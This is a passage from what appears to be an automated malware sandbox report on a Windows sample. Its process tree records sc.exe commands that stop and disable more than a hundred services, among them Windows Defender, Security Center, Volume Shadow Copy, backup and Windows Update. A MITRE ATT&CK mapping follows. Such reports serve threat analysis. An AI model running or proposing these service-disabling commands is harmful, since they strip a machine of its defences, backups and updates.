  - - C:\Windows\system32\sc.exe
      "sc" stop TimeBrokerSvc
      4⤵
      PID:3972
  - - C:\Windows\system32\sc.exe
      "sc" stop TokenBroker
      4⤵
      PID:3928
  - - C:\Windows\system32\sc.exe
      "sc" stop TrkWks
      4⤵
      PID:1904
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3908
  - - C:\Windows\system32\sc.exe
      "sc" stop TroubleshootingSvc
      4⤵
      PID:2140
  - - C:\Windows\system32\sc.exe
      "sc" stop TrustedInstaller
      4⤵
      PID:5644
  - - C:\Windows\system32\sc.exe
      "sc" config TimeBrokerSvc start= disabled
      4⤵
      PID:512
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1336
  - - C:\Windows\system32\sc.exe
      "sc" stop tzautoupdate
      4⤵
      PID:3840
  - - C:\Windows\system32\sc.exe
      "sc" config TokenBroker start= disabled
      4⤵
      PID:5796
  - - C:\Windows\system32\sc.exe
      "sc" config TrkWks start= disabled
      4⤵
      PID:5776
  - - C:\Windows\system32\sc.exe
      "sc" config TroubleshootingSvc start= disabled
      4⤵
      PID:2660
  - - C:\Windows\system32\sc.exe
      "sc" config TrustedInstaller start= disabled
      4⤵
      Launches sc.exe
      PID:5180
  - - C:\Windows\system32\sc.exe
      "sc" stop UevAgentService
      4⤵
      PID:3360
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2348
  - - C:\Windows\system32\sc.exe
      "sc" config tzautoupdate start= disabled
      4⤵
      Launches sc.exe
      PID:5784
  - - C:\Windows\system32\sc.exe
      "sc" stop UmRdpService
      4⤵
      PID:3524
  - - C:\Windows\system32\sc.exe
      "sc" stop upnphost
      4⤵
      PID:3708
  - - C:\Windows\system32\sc.exe
      "sc" config UevAgentService start= disabled
      4⤵
      Launches sc.exe
      PID:4340
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4936
  - - C:\Windows\system32\sc.exe
      "sc" stop UserManager
      4⤵
      Launches sc.exe
      PID:3320
  - - C:\Windows\system32\sc.exe
      "sc" stop UsoSvc
      4⤵
      PID:5456
  - - C:\Windows\system32\sc.exe
      "sc" config UmRdpService start= disabled
      4⤵
      PID:5636
  - - C:\Windows\system32\sc.exe
      "sc" stop VaultSvc
      4⤵
      PID:1112
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3044
  - - C:\Windows\system32\sc.exe
      "sc" config upnphost start= disabled
      4⤵
      PID:5992
  - - C:\Windows\system32\sc.exe
      "sc" config UserManager start= disabled
      4⤵
      PID:3252
  - - C:\Windows\system32\sc.exe
      "sc" stop vds
      4⤵
      PID:5472
  - - C:\Windows\system32\sc.exe
      "sc" config VaultSvc start= disabled
      4⤵
      Launches sc.exe
      PID:5696
  - - C:\Windows\system32\sc.exe
      "sc" config UsoSvc start= disabled
      4⤵
      PID:2800
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2652
  - - C:\Windows\system32\sc.exe
      "sc" config netprofm start= disabled
      4⤵
      PID:2984
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicguestinterface
      4⤵
      PID:1340
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3008
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicheartbeat
      4⤵
      PID:2480
  - - C:\Windows\system32\sc.exe
      "sc" config vds start= disabled
      4⤵
      Launches sc.exe
      PID:3228
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6008
  - - C:\Windows\system32\sc.exe
      "sc" stop vmickvpexchange
      4⤵
      Launches sc.exe
      PID:124
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicrdv
      4⤵
      PID:4648
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3720
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicshutdown
      4⤵
      PID:2768
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1844
  - - C:\Windows\system32\sc.exe
      "sc" config vmicguestinterface start= disabled
      4⤵
      PID:1580
  - - C:\Windows\system32\sc.exe
      "sc" config vmicheartbeat start= disabled
      4⤵
      Launches sc.exe
      PID:2952
  - - C:\Windows\system32\sc.exe
      "sc" stop vmictimesync
      4⤵
      PID:5728
  - - C:\Windows\system32\sc.exe
      "sc" config vmickvpexchange start= disabled
      4⤵
      PID:6116
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2536
  - - C:\Windows\system32\sc.exe
      "sc" config vmicrdv start= disabled
      4⤵
      PID:3784
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3808
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicvmsession
      4⤵
      PID:5540
  - - C:\Windows\system32\sc.exe
      "sc" config vmicshutdown start= disabled
      4⤵
      PID:2700
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicvss
      4⤵
      PID:1800
  - - C:\Windows\system32\sc.exe
      "sc" stop VSS
      4⤵
      PID:2724
  - - C:\Windows\system32\sc.exe
      "sc" config vmictimesync start= disabled
      4⤵
      PID:4780
  - - C:\Windows\system32\sc.exe
      "sc" stop WaaSMedicSvc
      4⤵
      PID:688
  - - C:\Windows\system32\sc.exe
      "sc" config vmicvmsession start= disabled
      4⤵
      PID:3624
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3424
  - - C:\Windows\system32\sc.exe
      "sc" config vmicvss start= disabled
      4⤵
      PID:4008
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2056
  - - C:\Windows\system32\sc.exe
      "sc" stop WalletService
      4⤵
      PID:2908
  - - C:\Windows\system32\sc.exe
      "sc" stop WarpJITSvc
      4⤵
      PID:1468
  - - C:\Windows\system32\sc.exe
      "sc" config VSS start= disabled
      4⤵
      PID:5496
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5464
  - - C:\Windows\system32\sc.exe
      "sc" stop wbengine
      4⤵
      PID:4952
  - - C:\Windows\system32\sc.exe
      "sc" config WaaSMedicSvc start= disabled
      4⤵
      PID:2876
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4460
  - - C:\Windows\system32\sc.exe
      "sc" stop WbioSrvc
      4⤵
      PID:4776
  - - C:\Windows\system32\sc.exe
      "sc" stop Wcmsvc
      4⤵
      PID:4252
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5804
  - - C:\Windows\system32\sc.exe
      "sc" config WalletService start= disabled
      4⤵
      PID:2112
  - - C:\Windows\system32\sc.exe
      "sc" stop wcncsvc
      4⤵
      PID:2412
  - - C:\Windows\system32\sc.exe
      "sc" config WarpJITSvc start= disabled
      4⤵
      PID:3264
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5308
  - - C:\Windows\system32\sc.exe
      "sc" config wbengine start= disabled
      4⤵
      PID:2628
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5408
  - - C:\Windows\system32\sc.exe
      "sc" stop WdiServiceHost
      4⤵
      PID:1148
  - - C:\Windows\system32\sc.exe
      "sc" config Wcmsvc start= disabled
      4⤵
      PID:2092
  - - C:\Windows\system32\sc.exe
      "sc" stop WdiSystemHost
      4⤵
      PID:4000
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:608
  - - C:\Windows\system32\sc.exe
      "sc" stop WdNisSvc
      4⤵
      PID:1868
  - - C:\Windows\system32\sc.exe
      "sc" stop WebClient
      4⤵
      PID:1564
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1632
  - - C:\Windows\system32\sc.exe
      "sc" config wcncsvc start= disabled
      4⤵
      PID:3920
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1376
  - - C:\Windows\system32\sc.exe
      "sc" config WbioSrvc start= disabled
      4⤵
      PID:500
  - - C:\Windows\system32\sc.exe
      "sc" stop webthreatdefsvc
      4⤵
      PID:1380
  - - C:\Windows\system32\sc.exe
      "sc" config WdiServiceHost start= disabled
      4⤵
      PID:3508
  - - C:\Windows\system32\sc.exe
      "sc" stop Wecsvc
      4⤵
      PID:3384
  - - C:\Windows\system32\sc.exe
      "sc" config webthreatdefsvc start= disabled
      4⤵
      PID:6080
  - - C:\Windows\system32\sc.exe
      "sc" stop WEPHOSTSVC
      4⤵
      PID:1208
  - - C:\Windows\system32\sc.exe
      "sc" config WdiSystemHost start= disabled
      4⤵
      PID:3236
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1140
  - - C:\Windows\system32\sc.exe
      "sc" config WebClient start= disabled
      4⤵
      PID:2560
  - - C:\Windows\system32\sc.exe
      "sc" stop wercplsupport
      4⤵
      PID:1312
  - - C:\Windows\system32\sc.exe
      "sc" config WdNisSvc start= disabled
      4⤵
      PID:2624
  - - C:\Windows\system32\sc.exe
      "sc" config Wecsvc start= disabled
      4⤵
      PID:3976
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2140
  - - C:\Windows\system32\sc.exe
      "sc" stop WerSvc
      4⤵
      PID:3428
  - - C:\Windows\system32\sc.exe
      "sc" config WEPHOSTSVC start= disabled
      4⤵
      PID:2164
  - - C:\Windows\system32\sc.exe
      "sc" config wercplsupport start= disabled
      4⤵
      PID:4424
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3956
  - - C:\Windows\system32\sc.exe
      "sc" stop WFDSConMgrSvc
      4⤵
      PID:5732
  - - C:\Windows\system32\sc.exe
      "sc" stop WiaRpc
      4⤵
      PID:5796
  - - C:\Windows\system32\sc.exe
      "sc" stop WinDefend
      4⤵
      PID:3076
  - - C:\Windows\system32\sc.exe
      "sc" stop WinHttpAutoProxySvc
      4⤵
      PID:4732
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5180
  - - C:\Windows\system32\sc.exe
      "sc" config WerSvc start= disabled
      4⤵
      PID:8
  - - C:\Windows\system32\sc.exe
      "sc" stop Winmgmt
      4⤵
      PID:1080
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:568
  - - C:\Windows\system32\sc.exe
      "sc" stop WinRM
      4⤵
      PID:2720
  - - C:\Windows\system32\sc.exe
      "sc" config WFDSConMgrSvc start= disabled
      4⤵
      PID:6020
  - - C:\Windows\system32\sc.exe
      "sc" config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:5216
  - - C:\Windows\system32\sc.exe
      "sc" config WiaRpc start= disabled
      4⤵
      PID:5828
  - - C:\Windows\system32\sc.exe
      "sc" config WinHttpAutoProxySvc start= disabled
      4⤵
      PID:3772
  - - C:\Windows\system32\sc.exe
      "sc" stop wisvc
      4⤵
      PID:3560
  - - C:\Windows\system32\sc.exe
      "sc" stop WlanSvc
      4⤵
      PID:800
  - - C:\Windows\system32\sc.exe
      "sc" config WinRM start= disabled
      4⤵
      PID:2532
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4356
  - - C:\Windows\system32\sc.exe
      "sc" config Winmgmt start= disabled
      4⤵
      PID:3100
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5992
  - - C:\Windows\system32\sc.exe
      "sc" stop wlidsvc
      4⤵
      PID:5188
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5472
  - - C:\Windows\system32\sc.exe
      "sc" stop wlpasvc
      4⤵
      Launches sc.exe
      PID:3436
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3280
  - - C:\Windows\system32\sc.exe
      "sc" stop WManSvc
      4⤵
      PID:2744
  - - C:\Windows\system32\sc.exe
      "sc" stop wmiApSrv
      4⤵
      PID:5436
  - - C:\Windows\system32\sc.exe
      "sc" stop WMPNetworkSvc
      4⤵
      PID:5332
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3596
  - - C:\Windows\system32\sc.exe
      "sc" config wlidsvc start= disabled
      4⤵
      PID:1612
  - - C:\Windows\system32\sc.exe
      "sc" config wisvc start= disabled
      4⤵
      PID:3544
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5812
  - - C:\Windows\system32\sc.exe
      "sc" config WlanSvc start= disabled
      4⤵
      PID:5864
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4300
  - - C:\Windows\system32\sc.exe
      "sc" config WManSvc start= disabled
      4⤵
      PID:5564
  - - C:\Windows\system32\sc.exe
      "sc" config wlpasvc start= disabled
      4⤵
      PID:4740
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4648
  - - C:\Windows\system32\sc.exe
      "sc" config wmiApSrv start= disabled
      4⤵
      PID:1320
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1232
  - - C:\Windows\system32\sc.exe
      "sc" stop workfolderssvc
      4⤵
      PID:5236
  - - C:\Windows\system32\sc.exe
      "sc" config WMPNetworkSvc start= disabled
      4⤵
      PID:1372
  - - C:\Windows\system32\sc.exe
      "sc" stop WpcMonSvc
      4⤵
      PID:3016
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2328
  - - C:\Windows\system32\sc.exe
      "sc" stop WPDBusEnum
      4⤵
      PID:4016
  - - C:\Windows\system32\sc.exe
      "sc" stop WpnService
      4⤵
      PID:4100
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1084
  - - C:\Windows\system32\sc.exe
      "sc" stop WSAIFabricSvc
      4⤵
      PID:4408
  - - C:\Windows\system32\sc.exe
      "sc" config workfolderssvc start= disabled
      4⤵
      PID:5700
  - - C:\Windows\system32\sc.exe
      "sc" stop wscsvc
      4⤵
      PID:560
  - - C:\Windows\system32\sc.exe
      "sc" config WpnService start= disabled
      4⤵
      Launches sc.exe
      PID:5312
  - - C:\Windows\system32\sc.exe
      "sc" config WpcMonSvc start= disabled
      4⤵
      PID:1460
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4780
  - - C:\Windows\system32\sc.exe
      "sc" config WPDBusEnum start= disabled
      4⤵
      PID:3740
  - - C:\Windows\system32\sc.exe
      "sc" stop WSearch
      4⤵
      Launches sc.exe
      PID:1652
  - - C:\Windows\system32\sc.exe
      "sc" config WSAIFabricSvc start= disabled
      4⤵
      PID:5912
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2644
  - - C:\Windows\system32\sc.exe
      "sc" stop wuauserv
      4⤵
      PID:5496
  - - C:\Windows\system32\sc.exe
      "sc" config wscsvc start= disabled
      4⤵
      PID:5968
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1132
  - - C:\Windows\system32\sc.exe
      "sc" stop WwanSvc
      4⤵
      Launches sc.exe
      PID:4736
  - - C:\Windows\system32\sc.exe
      "sc" stop XblAuthManager
      4⤵
      Launches sc.exe
      PID:4988
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:460
  - - C:\Windows\system32\sc.exe
      "sc" stop XblGameSave
      4⤵
      PID:2868
  - - C:\Windows\system32\sc.exe
      "sc" config WSearch start= disabled
      4⤵
      Launches sc.exe
      PID:4868
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2844
  - - C:\Windows\system32\sc.exe
      "sc" stop XboxGipSvc
      4⤵
      PID:4844
  - - C:\Windows\system32\sc.exe
      "sc" stop XboxNetApiSvc
      4⤵
      Launches sc.exe
      PID:5840
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5884
  - - C:\Windows\system32\sc.exe
      "sc" config XboxGipSvc start= disabled
      4⤵
      PID:1792
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3264
  - - C:\Windows\system32\sc.exe
      "sc" config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:2112
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3184
  - - C:\Windows\system32\sc.exe
      "sc" config WwanSvc start= disabled
      4⤵
      PID:5956
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5876
  - - C:\Windows\system32\sc.exe
      "sc" config XblAuthManager start= disabled
      4⤵
      PID:1076
  - - C:\Windows\system32\sc.exe
      "sc" stop AarSvc_25960
      4⤵
      PID:5412
  - - C:\Windows\system32\sc.exe
      "sc" config XblGameSave start= disabled
      4⤵
      PID:3724
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5972
  - - C:\Windows\system32\sc.exe
      "sc" config XboxNetApiSvc start= disabled
      4⤵
      PID:1380
  - - C:\Windows\system32\sc.exe
      "sc" stop BcastDVRUserService_25960
      4⤵
      PID:3932
  - - C:\Windows\system32\sc.exe
      "sc" config AarSvc_25960 start= disabled
      4⤵
      PID:3556
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2572
  - - C:\Windows\system32\sc.exe
      "sc" stop BluetoothUserService_25960
      4⤵
      Launches sc.exe
      PID:5336
  - - C:\Windows\system32\sc.exe
      "sc" stop CaptureService_25960
      4⤵
      PID:3204
  - - C:\Windows\system32\sc.exe
      "sc" stop cbdhsvc_25960
      4⤵
      Launches sc.exe
      PID:404
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3948
  - - C:\Windows\system32\sc.exe
      "sc" stop CDPUserSvc_25960
      4⤵
      PID:2444
  - - C:\Windows\system32\sc.exe
      "sc" stop CloudBackupRestoreSvc_25960
      4⤵
      PID:5916
  - - C:\Windows\system32\sc.exe
      "sc" config BcastDVRUserService_25960 start= disabled
      4⤵
      PID:2684
  - - C:\Windows\system32\sc.exe
      "sc" stop ConsentUxUserSvc_25960
      4⤵
      PID:3696
  - - C:\Windows\system32\sc.exe
      "sc" config cbdhsvc_25960 start= disabled
      4⤵
      PID:3936
  - - C:\Windows\system32\sc.exe
      "sc" config CaptureService_25960 start= disabled
      4⤵
      PID:2880
  - - C:\Windows\system32\sc.exe
      "sc" config CDPUserSvc_25960 start= disabled
      4⤵
      PID:6068
  - - C:\Windows\system32\sc.exe
      "sc" config BluetoothUserService_25960 start= disabled
      4⤵
      PID:3972
  - - C:\Windows\system32\sc.exe
      "sc" config CloudBackupRestoreSvc_25960 start= disabled
      4⤵
      PID:2104
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5852
  - - C:\Windows\system32\sc.exe
      "sc" stop CredentialEnrollmentManagerUserSvc_25960
      4⤵
      PID:2032
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3836
  - - C:\Windows\system32\sc.exe
      "sc" config ConsentUxUserSvc_25960 start= disabled
      4⤵
      Launches sc.exe
      PID:5644
  - - C:\Windows\system32\sc.exe
      "sc" stop DeviceAssociationBrokerSvc_25960
      4⤵
      PID:3976
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1048
  - - C:\Windows\system32\sc.exe
      "sc" stop DevicePickerUserSvc_25960
      4⤵
      PID:5520
  - - C:\Windows\system32\sc.exe
      "sc" stop DevicesFlowUserSvc_25960
      4⤵
      PID:1616
  - - C:\Windows\system32\sc.exe
      "sc" stop MessagingService_25960
      4⤵
      PID:2180
  - - C:\Windows\system32\sc.exe
      "sc" stop NPSMSvc_25960
      4⤵
      PID:1856
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3524
  - - C:\Windows\system32\sc.exe
      "sc" stop OneSyncSvc_25960
      4⤵
      PID:2160
  - - C:\Windows\system32\sc.exe
      "sc" config DeviceAssociationBrokerSvc_25960 start= disabled
      4⤵
      PID:2376
  - - C:\Windows\system32\sc.exe
      "sc" config MessagingService_25960 start= disabled
      4⤵
      PID:3500
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4256
  - - C:\Windows\system32\sc.exe
      "sc" config DevicePickerUserSvc_25960 start= disabled
      4⤵
      PID:5548
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3708
  - - C:\Windows\system32\sc.exe
      "sc" config CredentialEnrollmentManagerUserSvc_25960 start= disabled
      4⤵
      PID:3412
  - - C:\Windows\system32\sc.exe
      "sc" config DevicesFlowUserSvc_25960 start= disabled
      4⤵
      PID:1744
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3432
  - - C:\Windows\system32\sc.exe
      "sc" config NPSMSvc_25960 start= disabled
      4⤵
      PID:5128
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3772
  - - C:\Windows\system32\sc.exe
      "sc" stop P9RdrService_25960
      4⤵
      PID:2892
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4436
  - - C:\Windows\system32\sc.exe
      "sc" config OneSyncSvc_25960 start= disabled
      4⤵
      Launches sc.exe
      PID:3604
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5908
  - - C:\Windows\system32\sc.exe
      "sc" stop PenService_25960
      4⤵
      PID:5828
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2984
  - - C:\Windows\system32\sc.exe
      "sc" stop PimIndexMaintenanceSvc_25960
      4⤵
      Launches sc.exe
      PID:1348
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3100
  - - C:\Windows\system32\sc.exe
      "sc" stop PrintWorkflowUserSvc_25960
      4⤵
      PID:5508
  - - C:\Windows\system32\sc.exe
      "sc" stop UdkUserSvc_25960
      4⤵
      PID:3328
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3368
  - - C:\Windows\system32\sc.exe
      "sc" stop UnistoreSvc_25960
      4⤵
      PID:2816
  - - C:\Windows\system32\sc.exe
      "sc" stop UserDataSvc_25960
      4⤵
      Launches sc.exe
      PID:6028
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5016
  - - C:\Windows\system32\sc.exe
      "sc" config P9RdrService_25960 start= disabled
      4⤵
      PID:2148
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5516
  - - C:\Windows\system32\sc.exe
      "sc" config UdkUserSvc_25960 start= disabled
      4⤵
      PID:3252
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3700
  - - C:\Windows\system32\sc.exe
      "sc" config PrintWorkflowUserSvc_25960 start= disabled
      4⤵
      PID:1496
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1840
  - - C:\Windows\system32\sc.exe
      "sc" config PenService_25960 start= disabled
      4⤵
      PID:1580
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5696
  - - C:\Windows\system32\sc.exe
      "sc" config PimIndexMaintenanceSvc_25960 start= disabled
      4⤵
      Launches sc.exe
      PID:5988
  - - C:\Windows\system32\sc.exe
      "sc" config UnistoreSvc_25960 start= disabled
      4⤵
      PID:1968
  - - C:\Windows\system32\sc.exe
      "sc" config UserDataSvc_25960 start= disabled
      4⤵
      Launches sc.exe
      PID:4276
  - - C:\Windows\system32\sc.exe
      "sc" stop webthreatdefusersvc_25960
      4⤵
      PID:912
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2480
  - - C:\Windows\system32\sc.exe
      "sc" stop WpnUserService_25960
      4⤵
      Launches sc.exe
      PID:472
  - - C:\Windows\system32\sc.exe
      "sc" config webthreatdefusersvc_25960 start= disabled
      4⤵
      PID:4756
  - - C:\Windows\system32\sc.exe
      "sc" config WpnUserService_25960 start= disabled
      4⤵
      PID:1444
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1700
  - - C:\Windows\system32\sc.exe
      "sc" config RmSvc start= disabled
      4⤵
      PID:1796
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4408

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6020

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Power Settings

T1653

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Indicator Removal

T1070

Clear Persistence

T1070.009

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Modify Registry